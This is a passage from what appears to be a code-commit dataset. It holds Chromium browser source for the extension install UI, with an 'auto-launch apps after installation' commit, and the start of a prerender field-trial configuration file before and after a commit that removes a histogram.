l10n_util::GetStringUTF16(IDS_EXTENSION_UNINSTALL_CONFIRMATION);\n ShowExtensionInstallUIPromptImpl(profile_, delegate_, extension_, &icon_,\n message, UNINSTALL_PROMPT);\n break;\n }\n default:\n NOTREACHED() << \"Unknown message\";\n break;\n }\n}\n\nvoid ExtensionInstallUI::ShowThemeInfoBar(\n const std::string& previous_theme_id, bool previous_use_system_theme,\n Extension* new_theme, Profile* profile) {\n if (!new_theme->IsTheme())\n return;\n\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile);\n if (!browser)\n return;\n\n TabContents* tab_contents = browser->GetSelectedTabContents();\n if (!tab_contents)\n return;\n\n \/\/ First find any previous theme preview infobars.\n InfoBarDelegate* old_delegate = NULL;\n for (int i = 0; i < tab_contents->infobar_delegate_count(); ++i) {\n InfoBarDelegate* delegate = tab_contents->GetInfoBarDelegateAt(i);\n if (delegate->AsThemePreviewInfobarDelegate()) {\n old_delegate = delegate;\n break;\n }\n }\n\n \/\/ Then either replace that old one or add a new one.\n InfoBarDelegate* new_delegate =\n GetNewThemeInstalledInfoBarDelegate(\n tab_contents, new_theme,\n previous_theme_id, previous_use_system_theme);\n\n if (old_delegate)\n tab_contents->ReplaceInfoBar(old_delegate, new_delegate);\n else\n tab_contents->AddInfoBar(new_delegate);\n}\n\nvoid ExtensionInstallUI::ShowConfirmation(PromptType prompt_type) {\n \/\/ Load the image asynchronously. For the response, check OnImageLoaded.\n prompt_type_ = prompt_type;\n ExtensionResource image =\n extension_->GetIconPath(Extension::EXTENSION_ICON_LARGE);\n tracker_.LoadImage(extension_, image,\n gfx::Size(Extension::EXTENSION_ICON_LARGE,\n Extension::EXTENSION_ICON_LARGE),\n ImageLoadingTracker::DONT_CACHE);\n}\n\n#if defined(OS_MACOSX)\nvoid ExtensionInstallUI::ShowGenericExtensionInstalledInfoBar(\n Extension* new_extension) {\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);\n if (!browser)\n return;\n\n TabContents* tab_contents = browser->GetSelectedTabContents();\n if (!tab_contents)\n return;\n\n std::wstring msg = l10n_util::GetStringF(IDS_EXTENSION_INSTALLED_HEADING,\n UTF8ToWide(new_extension->name())) +\n L\" \" + l10n_util::GetString(IDS_EXTENSION_INSTALLED_MANAGE_INFO_MAC);\n InfoBarDelegate* delegate = new SimpleAlertInfoBarDelegate(\n tab_contents, msg, new SkBitmap(icon_), true);\n tab_contents->AddInfoBar(delegate);\n}\n#endif\n\nInfoBarDelegate* ExtensionInstallUI::GetNewThemeInstalledInfoBarDelegate(\n TabContents* tab_contents, Extension* new_theme,\n const std::string& previous_theme_id, bool previous_use_system_theme) {\n#if defined(TOOLKIT_GTK)\n return new GtkThemeInstalledInfoBarDelegate(tab_contents, new_theme,\n previous_theme_id, previous_use_system_theme);\n#else\n return new ThemeInstalledInfoBarDelegate(tab_contents, new_theme,\n previous_theme_id);\n#endif\n}\n<commit_msg>Auto-launch apps after installation.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_install_ui.h\"\n\n#include <map>\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/file_util.h\"\n#include \"base\/rand_util.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/browser_list.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/extensions\/theme_installed_infobar_delegate.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#if defined(TOOLKIT_VIEWS) \/\/ TODO(port)\n#include \"chrome\/browser\/views\/extensions\/extension_installed_bubble.h\"\n#elif defined(TOOLKIT_GTK)\n#include \"chrome\/browser\/gtk\/extension_installed_bubble_gtk.h\"\n#endif\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/platform_util.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"grit\/browser_resources.h\"\n#include \"grit\/chromium_strings.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\n#if defined(TOOLKIT_GTK)\n#include \"chrome\/browser\/extensions\/gtk_theme_installed_infobar_delegate.h\"\n#include \"chrome\/browser\/gtk\/gtk_theme_provider.h\"\n#endif\n\n#if defined(OS_MACOSX)\n#include \"chrome\/browser\/cocoa\/extension_installed_bubble_bridge.h\"\n#endif\n\n\/\/ static\nconst int ExtensionInstallUI::kTitleIds[NUM_PROMPT_TYPES] = {\n IDS_EXTENSION_INSTALL_PROMPT_TITLE,\n IDS_EXTENSION_UNINSTALL_PROMPT_TITLE\n};\n\/\/ static\nconst int ExtensionInstallUI::kHeadingIds[NUM_PROMPT_TYPES] = {\n IDS_EXTENSION_INSTALL_PROMPT_HEADING,\n IDS_EXTENSION_UNINSTALL_PROMPT_HEADING\n};\n\/\/ static\nconst int ExtensionInstallUI::kButtonIds[NUM_PROMPT_TYPES] = {\n IDS_EXTENSION_PROMPT_INSTALL_BUTTON,\n IDS_EXTENSION_PROMPT_UNINSTALL_BUTTON\n};\n\nnamespace {\n\n\/\/ We also show the severe warning if the extension has access to any file:\/\/\n\/\/ URLs. They aren't *quite* as dangerous as full access to the system via\n\/\/ NPAPI, but pretty dang close. Content scripts are currently the only way\n\/\/ that extension can get access to file:\/\/ URLs.\nstatic bool ExtensionHasFileAccess(Extension* extension) {\n for (UserScriptList::const_iterator script =\n extension->content_scripts().begin();\n script != extension->content_scripts().end();\n ++script) {\n for (UserScript::PatternList::const_iterator pattern =\n script->url_patterns().begin();\n pattern != script->url_patterns().end();\n ++pattern) {\n if (pattern->scheme() == chrome::kFileScheme)\n return true;\n }\n }\n\n return false;\n}\n\nstatic void GetV2Warnings(Extension* extension,\n std::vector<string16>* warnings) {\n if (!extension->plugins().empty() || ExtensionHasFileAccess(extension)) {\n \/\/ TODO(aa): This one is a bit awkward. Should we have a separate\n \/\/ presentation for this case?\n warnings->push_back(\n l10n_util::GetStringUTF16(IDS_EXTENSION_PROMPT2_WARNING_FULL_ACCESS));\n return;\n }\n\n if (extension->HasAccessToAllHosts()) {\n warnings->push_back(\n l10n_util::GetStringUTF16(IDS_EXTENSION_PROMPT2_WARNING_ALL_HOSTS));\n } else {\n std::set<std::string> hosts = extension->GetEffectiveHostPermissions();\n if (hosts.size() == 1) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(IDS_EXTENSION_PROMPT2_WARNING_1_HOST,\n UTF8ToUTF16(*hosts.begin())));\n } else if (hosts.size() == 2) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(IDS_EXTENSION_PROMPT2_WARNING_2_HOSTS,\n UTF8ToUTF16(*hosts.begin()),\n UTF8ToUTF16(*(++hosts.begin()))));\n } else if (hosts.size() == 3) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(IDS_EXTENSION_PROMPT2_WARNING_3_HOSTS,\n UTF8ToUTF16(*hosts.begin()),\n UTF8ToUTF16(*(++hosts.begin())),\n UTF8ToUTF16(*(++++hosts.begin()))));\n } else if (hosts.size() >= 4) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(\n IDS_EXTENSION_PROMPT2_WARNING_4_OR_MORE_HOSTS,\n UTF8ToUTF16(*hosts.begin()),\n UTF8ToUTF16(*(++hosts.begin())),\n IntToString16(hosts.size() - 2)));\n }\n }\n\n if (extension->HasEffectiveBrowsingHistoryPermission()) {\n warnings->push_back(\n l10n_util::GetStringUTF16(\n IDS_EXTENSION_PROMPT2_WARNING_BROWSING_HISTORY));\n }\n\n \/\/ TODO(aa): Geolocation, camera\/mic, what else?\n}\n\n} \/\/ namespace\n\nExtensionInstallUI::ExtensionInstallUI(Profile* profile)\n : profile_(profile),\n ui_loop_(MessageLoop::current()),\n previous_use_system_theme_(false),\n extension_(NULL),\n delegate_(NULL),\n prompt_type_(NUM_PROMPT_TYPES),\n ALLOW_THIS_IN_INITIALIZER_LIST(tracker_(this)) {}\n\nvoid ExtensionInstallUI::ConfirmInstall(Delegate* delegate,\n Extension* extension) {\n DCHECK(ui_loop_ == MessageLoop::current());\n extension_ = extension;\n delegate_ = delegate;\n\n \/\/ We special-case themes to not show any confirm UI. Instead they are\n \/\/ immediately installed, and then we show an infobar (see OnInstallSuccess)\n \/\/ to allow the user to revert if they don't like it.\n if (extension->IsTheme()) {\n \/\/ Remember the current theme in case the user pressed undo.\n Extension* previous_theme = profile_->GetTheme();\n if (previous_theme)\n previous_theme_id_ = previous_theme->id();\n\n#if defined(TOOLKIT_GTK)\n \/\/ On Linux, we also need to take the user's system settings into account\n \/\/ to undo theme installation.\n previous_use_system_theme_ =\n GtkThemeProvider::GetFrom(profile_)->UseGtkTheme();\n#else\n DCHECK(!previous_use_system_theme_);\n#endif\n\n delegate->InstallUIProceed(false);\n return;\n }\n\n ShowConfirmation(INSTALL_PROMPT);\n}\n\nvoid ExtensionInstallUI::ConfirmUninstall(Delegate* delegate,\n Extension* extension) {\n DCHECK(ui_loop_ == MessageLoop::current());\n extension_ = extension;\n delegate_ = delegate;\n\n ShowConfirmation(UNINSTALL_PROMPT);\n}\n\nvoid ExtensionInstallUI::OnInstallSuccess(Extension* extension) {\n if (extension->IsTheme()) {\n ShowThemeInfoBar(previous_theme_id_, previous_use_system_theme_,\n extension, profile_);\n return;\n }\n\n if (extension->GetFullLaunchURL().is_valid()) {\n Browser::OpenApplicationTab(profile_, extension);\n return;\n }\n\n \/\/ GetLastActiveWithProfile will fail on the build bots. This needs to be\n \/\/ implemented differently if any test is created which depends on\n \/\/ ExtensionInstalledBubble showing.\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);\n\n#if defined(TOOLKIT_VIEWS)\n if (!browser)\n return;\n\n ExtensionInstalledBubble::Show(extension, browser, icon_);\n#elif defined(OS_MACOSX)\n DCHECK(browser);\n \/\/ Note that browser actions don't appear in incognito mode initially,\n \/\/ so fall back to the generic case.\n if ((extension->browser_action() && !browser->profile()->IsOffTheRecord()) ||\n (extension->page_action() &&\n !extension->page_action()->default_icon_path().empty())) {\n ExtensionInstalledBubbleCocoa::ShowExtensionInstalledBubble(\n browser->window()->GetNativeHandle(),\n extension, browser, icon_);\n } else {\n \/\/ If the extension is of type GENERIC, meaning it doesn't have a UI\n \/\/ surface to display for this window, launch infobar instead of popup\n \/\/ bubble, because we have no guaranteed wrench menu button to point to.\n ShowGenericExtensionInstalledInfoBar(extension);\n }\n#elif defined(TOOLKIT_GTK)\n if (!browser)\n return;\n ExtensionInstalledBubbleGtk::Show(extension, browser, icon_);\n#endif \/\/ TOOLKIT_VIEWS\n}\n\nvoid ExtensionInstallUI::OnInstallFailure(const std::string& error) {\n DCHECK(ui_loop_ == MessageLoop::current());\n\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);\n platform_util::SimpleErrorBox(\n browser ? browser->window()->GetNativeHandle() : NULL,\n l10n_util::GetStringUTF16(IDS_EXTENSION_INSTALL_FAILURE_TITLE),\n UTF8ToUTF16(error));\n}\n\nvoid ExtensionInstallUI::OnOverinstallAttempted(Extension* extension) {\n ShowThemeInfoBar(previous_theme_id_, previous_use_system_theme_,\n extension, profile_);\n}\n\nvoid ExtensionInstallUI::OnImageLoaded(\n SkBitmap* image, ExtensionResource resource, int index) {\n if (image)\n icon_ = *image;\n else\n icon_ = SkBitmap();\n if (icon_.empty()) {\n icon_ = *ResourceBundle::GetSharedInstance().GetBitmapNamed(\n IDR_EXTENSION_DEFAULT_ICON);\n }\n\n switch (prompt_type_) {\n case INSTALL_PROMPT: {\n NotificationService* service = NotificationService::current();\n service->Notify(NotificationType::EXTENSION_WILL_SHOW_CONFIRM_DIALOG,\n Source<ExtensionInstallUI>(this),\n NotificationService::NoDetails());\n\n std::vector<string16> warnings;\n GetV2Warnings(extension_, &warnings);\n ShowExtensionInstallUIPrompt2Impl(\n profile_, delegate_, extension_, &icon_, warnings);\n break;\n }\n case UNINSTALL_PROMPT: {\n string16 message =\n l10n_util::GetStringUTF16(IDS_EXTENSION_UNINSTALL_CONFIRMATION);\n ShowExtensionInstallUIPromptImpl(profile_, delegate_, extension_, &icon_,\n message, UNINSTALL_PROMPT);\n break;\n }\n default:\n NOTREACHED() << \"Unknown message\";\n break;\n }\n}\n\nvoid ExtensionInstallUI::ShowThemeInfoBar(\n const std::string& previous_theme_id, bool previous_use_system_theme,\n Extension* new_theme, Profile* profile) {\n if (!new_theme->IsTheme())\n return;\n\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile);\n if (!browser)\n return;\n\n TabContents* tab_contents = browser->GetSelectedTabContents();\n if (!tab_contents)\n return;\n\n \/\/ First find any previous theme preview infobars.\n InfoBarDelegate* old_delegate = NULL;\n for (int i = 0; i < tab_contents->infobar_delegate_count(); ++i) {\n InfoBarDelegate* delegate = tab_contents->GetInfoBarDelegateAt(i);\n if (delegate->AsThemePreviewInfobarDelegate()) {\n old_delegate = delegate;\n break;\n }\n }\n\n \/\/ Then either replace that old one or add a new one.\n InfoBarDelegate* new_delegate =\n GetNewThemeInstalledInfoBarDelegate(\n tab_contents, new_theme,\n previous_theme_id, previous_use_system_theme);\n\n if (old_delegate)\n tab_contents->ReplaceInfoBar(old_delegate, new_delegate);\n else\n tab_contents->AddInfoBar(new_delegate);\n}\n\nvoid ExtensionInstallUI::ShowConfirmation(PromptType prompt_type) {\n \/\/ Load the image asynchronously. For the response, check OnImageLoaded.\n prompt_type_ = prompt_type;\n ExtensionResource image =\n extension_->GetIconPath(Extension::EXTENSION_ICON_LARGE);\n tracker_.LoadImage(extension_, image,\n gfx::Size(Extension::EXTENSION_ICON_LARGE,\n Extension::EXTENSION_ICON_LARGE),\n ImageLoadingTracker::DONT_CACHE);\n}\n\n#if defined(OS_MACOSX)\nvoid ExtensionInstallUI::ShowGenericExtensionInstalledInfoBar(\n Extension* new_extension) {\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);\n if (!browser)\n return;\n\n TabContents* tab_contents = browser->GetSelectedTabContents();\n if (!tab_contents)\n return;\n\n std::wstring msg = l10n_util::GetStringF(IDS_EXTENSION_INSTALLED_HEADING,\n UTF8ToWide(new_extension->name())) +\n L\" \" + l10n_util::GetString(IDS_EXTENSION_INSTALLED_MANAGE_INFO_MAC);\n InfoBarDelegate* delegate = new SimpleAlertInfoBarDelegate(\n tab_contents, msg, new SkBitmap(icon_), true);\n tab_contents->AddInfoBar(delegate);\n}\n#endif\n\nInfoBarDelegate* ExtensionInstallUI::GetNewThemeInstalledInfoBarDelegate(\n TabContents* tab_contents, Extension* new_theme,\n const std::string& previous_theme_id, bool previous_use_system_theme) {\n#if defined(TOOLKIT_GTK)\n return new GtkThemeInstalledInfoBarDelegate(tab_contents, new_theme,\n previous_theme_id, previous_use_system_theme);\n#else\n return new ThemeInstalledInfoBarDelegate(tab_contents, new_theme,\n previous_theme_id);\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/prerender\/prerender_field_trial.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/logging.h\"\n#include \"base\/metrics\/field_trial.h\"\n#include \"base\/metrics\/histogram.h\"\n#include \"chrome\/browser\/metrics\/metrics_service.h\"\n#include \"chrome\/browser\/predictors\/autocomplete_action_predictor.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/prerender\/prerender_manager.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n\nusing base::FieldTrial;\nusing base::FieldTrialList;\n\nnamespace prerender {\n\nnamespace {\n\nconst char kOmniboxTrialName[] = \"PrerenderFromOmnibox\";\nint g_omnibox_trial_default_group_number = kint32min;\n\nconst char kSpeculativePrefetchingTrialName[] = \"SpeculativePrefetching\";\nint g_speculative_prefetching_learning_group = kint32min;\nint g_speculative_prefetching_prefetching_group = kint32min;\n\nconst char kLocalPredictorTrialName[] = \"PrerenderLocalPredictor\";\nint g_local_predictor_default_group_number = kint32min;\n\nvoid SetupPrefetchFieldTrial() {\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n return;\n }\n\n const FieldTrial::Probability divisor = 1000;\n const FieldTrial::Probability prefetch_probability = 500;\n scoped_refptr<FieldTrial> trial(\n FieldTrialList::FactoryGetFieldTrial(\n \"Prefetch\", divisor, \"ContentPrefetchPrefetchOff\",\n 2013, 6, 30, NULL));\n const int kPrefetchOnGroup = trial->AppendGroup(\"ContentPrefetchPrefetchOn\",\n prefetch_probability);\n PrerenderManager::SetIsPrefetchEnabled(trial->group() == kPrefetchOnGroup);\n}\n\nvoid SetupPrerenderFieldTrial() {\n const FieldTrial::Probability divisor = 1000;\n\n FieldTrial::Probability control_probability;\n FieldTrial::Probability experiment_multi_prerender_probability;\n FieldTrial::Probability experiment_15min_ttl_probability;\n FieldTrial::Probability experiment_no_use_probability;\n\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n \/\/ Use very conservatives and stable settings in beta and stable.\n const FieldTrial::Probability release_prerender_enabled_probability = 980;\n const FieldTrial::Probability release_control_probability = 10;\n const FieldTrial::Probability\n release_experiment_multi_prerender_probability = 0;\n const FieldTrial::Probability release_experiment_15min_ttl_probability = 10;\n const FieldTrial::Probability release_experiment_no_use_probability = 0;\n COMPILE_ASSERT(\n release_prerender_enabled_probability + release_control_probability +\n release_experiment_multi_prerender_probability +\n release_experiment_15min_ttl_probability +\n release_experiment_no_use_probability == divisor,\n release_experiment_probabilities_must_equal_divisor);\n\n control_probability = release_experiment_15min_ttl_probability;\n experiment_multi_prerender_probability =\n release_experiment_multi_prerender_probability;\n experiment_15min_ttl_probability = release_control_probability;\n experiment_no_use_probability = release_experiment_no_use_probability;\n } else {\n \/\/ In testing channels, use more experiments and a larger control group to\n \/\/ improve quality of data.\n const FieldTrial::Probability dev_prerender_enabled_probability = 250;\n const FieldTrial::Probability dev_control_probability = 250;\n const FieldTrial::Probability\n dev_experiment_multi_prerender_probability = 250;\n const FieldTrial::Probability dev_experiment_15min_ttl_probability = 125;\n const FieldTrial::Probability dev_experiment_no_use_probability = 125;\n COMPILE_ASSERT(dev_prerender_enabled_probability + dev_control_probability +\n dev_experiment_multi_prerender_probability +\n dev_experiment_15min_ttl_probability +\n dev_experiment_no_use_probability == divisor,\n dev_experiment_probabilities_must_equal_divisor);\n\n control_probability = dev_experiment_15min_ttl_probability;\n experiment_multi_prerender_probability =\n dev_experiment_multi_prerender_probability;\n experiment_15min_ttl_probability = dev_control_probability;\n experiment_no_use_probability = dev_experiment_no_use_probability;\n }\n\n int prerender_enabled_group = -1;\n scoped_refptr<FieldTrial> trial(\n FieldTrialList::FactoryGetFieldTrial(\n \"Prerender\", divisor, \"PrerenderEnabled\",\n 2013, 6, 30, &prerender_enabled_group));\n const int control_group =\n trial->AppendGroup(\"PrerenderControl\",\n control_probability);\n const int experiment_multi_prerender_group =\n trial->AppendGroup(\"PrerenderMulti\",\n experiment_multi_prerender_probability);\n const int experiment_15_min_TTL_group =\n trial->AppendGroup(\"Prerender15minTTL\",\n experiment_15min_ttl_probability);\n const int experiment_no_use_group =\n trial->AppendGroup(\"PrerenderNoUse\",\n experiment_no_use_probability);\n\n const int trial_group = trial->group();\n if (trial_group == prerender_enabled_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_PRERENDER_GROUP);\n } else if (trial_group == control_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_CONTROL_GROUP);\n } else if (trial_group == experiment_multi_prerender_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_MULTI_PRERENDER_GROUP);\n } else if (trial_group == experiment_15_min_TTL_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_15MIN_TTL_GROUP);\n } else if (trial_group == experiment_no_use_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_NO_USE_GROUP);\n } else {\n NOTREACHED();\n }\n}\n\n} \/\/ end namespace\n\nvoid ConfigureOmniboxPrerender();\nvoid ConfigureSpeculativePrefetching();\nvoid ConfigureLocalPredictor();\n\nvoid ConfigurePrefetchAndPrerender(const CommandLine& command_line) {\n enum PrerenderOption {\n PRERENDER_OPTION_AUTO,\n PRERENDER_OPTION_DISABLED,\n PRERENDER_OPTION_ENABLED,\n PRERENDER_OPTION_PREFETCH_ONLY,\n };\n\n PrerenderOption prerender_option = PRERENDER_OPTION_AUTO;\n if (command_line.HasSwitch(switches::kPrerenderMode)) {\n const std::string switch_value =\n command_line.GetSwitchValueASCII(switches::kPrerenderMode);\n\n if (switch_value == switches::kPrerenderModeSwitchValueAuto) {\n prerender_option = PRERENDER_OPTION_AUTO;\n } else if (switch_value == switches::kPrerenderModeSwitchValueDisabled) {\n prerender_option = PRERENDER_OPTION_DISABLED;\n } else if (switch_value.empty() ||\n switch_value == switches::kPrerenderModeSwitchValueEnabled) {\n \/\/ The empty string means the option was provided with no value, and that\n \/\/ means enable.\n prerender_option = PRERENDER_OPTION_ENABLED;\n } else if (switch_value ==\n switches::kPrerenderModeSwitchValuePrefetchOnly) {\n prerender_option = PRERENDER_OPTION_PREFETCH_ONLY;\n } else {\n prerender_option = PRERENDER_OPTION_DISABLED;\n LOG(ERROR) << \"Invalid --prerender option received on command line: \"\n << switch_value;\n LOG(ERROR) << \"Disabling prerendering!\";\n }\n }\n\n switch (prerender_option) {\n case PRERENDER_OPTION_AUTO:\n SetupPrefetchFieldTrial();\n SetupPrerenderFieldTrial();\n break;\n case PRERENDER_OPTION_DISABLED:\n PrerenderManager::SetIsPrefetchEnabled(false);\n PrerenderManager::SetMode(PrerenderManager::PRERENDER_MODE_DISABLED);\n break;\n case PRERENDER_OPTION_ENABLED:\n PrerenderManager::SetIsPrefetchEnabled(true);\n PrerenderManager::SetMode(PrerenderManager::PRERENDER_MODE_ENABLED);\n break;\n case PRERENDER_OPTION_PREFETCH_ONLY:\n PrerenderManager::SetIsPrefetchEnabled(true);\n PrerenderManager::SetMode(PrerenderManager::PRERENDER_MODE_DISABLED);\n break;\n default:\n NOTREACHED();\n }\n\n UMA_HISTOGRAM_ENUMERATION(\"Prerender.Sessions\",\n PrerenderManager::GetMode(),\n PrerenderManager::PRERENDER_MODE_MAX);\n\n ConfigureOmniboxPrerender();\n ConfigureSpeculativePrefetching();\n ConfigureLocalPredictor();\n}\n\nvoid ConfigureOmniboxPrerender() {\n \/\/ Field trial to see if we're enabled.\n const FieldTrial::Probability kDivisor = 100;\n\n FieldTrial::Probability kDisabledProbability = 10;\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n kDisabledProbability = 1;\n }\n scoped_refptr<FieldTrial> omnibox_prerender_trial(\n FieldTrialList::FactoryGetFieldTrial(\n kOmniboxTrialName, kDivisor, \"OmniboxPrerenderEnabled\",\n 2012, 12, 30, &g_omnibox_trial_default_group_number));\n omnibox_prerender_trial->AppendGroup(\"OmniboxPrerenderDisabled\",\n kDisabledProbability);\n}\n\nbool IsOmniboxEnabled(Profile* profile) {\n if (!profile)\n return false;\n\n if (!PrerenderManager::IsPrerenderingPossible())\n return false;\n\n \/\/ Override any field trial groups if the user has set a command line flag.\n if (CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kPrerenderFromOmnibox)) {\n const std::string switch_value =\n CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n switches::kPrerenderFromOmnibox);\n\n if (switch_value == switches::kPrerenderFromOmniboxSwitchValueEnabled)\n return true;\n\n if (switch_value == switches::kPrerenderFromOmniboxSwitchValueDisabled)\n return false;\n\n DCHECK(switch_value == switches::kPrerenderFromOmniboxSwitchValueAuto);\n }\n\n const int group = FieldTrialList::FindValue(kOmniboxTrialName);\n return group == FieldTrial::kNotFinalized ||\n group == g_omnibox_trial_default_group_number;\n}\n\nvoid ConfigureSpeculativePrefetching() {\n \/\/ Field trial to see if we're enabled.\n const FieldTrial::Probability kDivisor = 100;\n\n FieldTrial::Probability kLearningProbability = 0;\n FieldTrial::Probability kPrefetchingProbability = 0;\n\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n switch (channel) {\n case chrome::VersionInfo::CHANNEL_CANARY:\n case chrome::VersionInfo::CHANNEL_DEV:\n kLearningProbability = 90;\n kPrefetchingProbability = 1;\n break;\n\n case chrome::VersionInfo::CHANNEL_BETA:\n kLearningProbability = 5;\n break;\n\n case chrome::VersionInfo::CHANNEL_STABLE:\n case chrome::VersionInfo::CHANNEL_UNKNOWN:\n break;\n }\n\n scoped_refptr<FieldTrial> speculative_prefetching_trial(\n FieldTrialList::FactoryGetFieldTrial(\n kSpeculativePrefetchingTrialName,\n kDivisor,\n \"Disabled\",\n 2012, 12, 30,\n NULL));\n\n if (kLearningProbability > 0) {\n g_speculative_prefetching_learning_group =\n speculative_prefetching_trial->AppendGroup(\"Learning\",\n kLearningProbability);\n }\n if (kPrefetchingProbability > 0) {\n g_speculative_prefetching_prefetching_group =\n speculative_prefetching_trial->AppendGroup(\"Prefetching\",\n kPrefetchingProbability);\n }\n}\n\nbool IsSpeculativeResourcePrefetchingLearningEnabled(Profile* profile) {\n if (!profile || profile->IsOffTheRecord())\n return false;\n\n \/\/ Override any field trial groups if the user has set a command line flag.\n if (CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kSpeculativeResourcePrefetching)) {\n const std::string switch_value =\n CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n switches::kSpeculativeResourcePrefetching);\n\n return switch_value == switches::kSpeculativeResourcePrefetchingLearning;\n }\n\n const int group = FieldTrialList::FindValue(\n kSpeculativePrefetchingTrialName);\n return group == g_speculative_prefetching_learning_group;\n}\n\nbool IsSpeculativeResourcePrefetchingEnabled(Profile* profile) {\n if (!profile)\n return false;\n\n \/\/ Check if the user has set a command line flag.\n if (CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kSpeculativeResourcePrefetching)) {\n const std::string switch_value =\n CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n switches::kSpeculativeResourcePrefetching);\n return switch_value == switches::kSpeculativeResourcePrefetchingEnabled;\n }\n\n const int group = FieldTrialList::FindValue(\n kSpeculativePrefetchingTrialName);\n return group == g_speculative_prefetching_prefetching_group;\n}\n\nvoid ConfigureLocalPredictor() {\n const FieldTrial::Probability kDivisor = 100;\n\n FieldTrial::Probability kEnableProbability = 90;\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n kEnableProbability = 1;\n }\n scoped_refptr<FieldTrial> local_predictor_trial(\n FieldTrialList::FactoryGetFieldTrial(\n kLocalPredictorTrialName, kDivisor, \"Disabled\",\n 2013, 12, 31, &g_local_predictor_default_group_number));\n local_predictor_trial->AppendGroup(\"Enabled\", kEnableProbability);\n}\n\nbool IsLocalPredictorEnabled() {\n const int group = FieldTrialList::FindValue(kLocalPredictorTrialName);\n return (group != FieldTrial::kNotFinalized &&\n group != g_omnibox_trial_default_group_number);\n}\n\n} \/\/ namespace prerender\n<commit_msg>Remove Prerender.Sessions histogram, which was just making sure the field trials groups were being set up correctly.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/prerender\/prerender_field_trial.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/logging.h\"\n#include \"base\/metrics\/field_trial.h\"\n#include \"base\/metrics\/histogram.h\"\n#include \"chrome\/browser\/metrics\/metrics_service.h\"\n#include \"chrome\/browser\/predictors\/autocomplete_action_predictor.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/prerender\/prerender_manager.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n\nusing base::FieldTrial;\nusing base::FieldTrialList;\n\nnamespace prerender {\n\nnamespace {\n\nconst char kOmniboxTrialName[] = \"PrerenderFromOmnibox\";\nint g_omnibox_trial_default_group_number = kint32min;\n\nconst char kSpeculativePrefetchingTrialName[] = \"SpeculativePrefetching\";\nint g_speculative_prefetching_learning_group = kint32min;\nint g_speculative_prefetching_prefetching_group = kint32min;\n\nconst char kLocalPredictorTrialName[] = \"PrerenderLocalPredictor\";\nint g_local_predictor_default_group_number = kint32min;\n\nvoid SetupPrefetchFieldTrial() {\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n return;\n }\n\n const FieldTrial::Probability divisor = 1000;\n const FieldTrial::Probability prefetch_probability = 500;\n scoped_refptr<FieldTrial> trial(\n 